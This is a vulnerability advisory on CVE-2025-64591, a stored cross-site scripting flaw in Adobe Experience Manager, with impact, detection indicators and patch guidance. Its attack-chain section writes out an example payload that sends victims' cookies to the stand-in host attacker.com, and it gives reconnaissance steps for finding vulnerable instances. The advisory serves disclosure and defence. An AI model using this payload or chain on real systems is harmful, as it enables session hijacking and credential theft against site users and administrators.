CVE-2025-64591: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64591 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges on the AEM instance, with the scope changed to affect the victim's browser session. No public proof-of-concept code has been identified at this time (Adobe Advisory, Tenable).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context and potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM-authored pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Stored AEM content nodes (JCR) containing unexpected <script> tags or JavaScript URIs in text or rich-text fields; reviewable via CRXDE Lite or package manager exports.
• Process/Application: Unexpected JavaScript execution errors or CSP violation reports in browser developer consoles when accessing specific AEM pages.

Adobe has released patches addressing CVE-2025-64591 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and implement a strict Content Security Policy (CSP) to limit the impact of any injected scripts. Review and audit stored content in the AEM repository for unexpected script injections (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS flaw, recommending prompt patching (CIS Advisory). Tenable published a Nessus detection plugin (278346) for the vulnerability. No significant independent researcher commentary or social media discussion has been identified beyond standard patch-Tuesday coverage.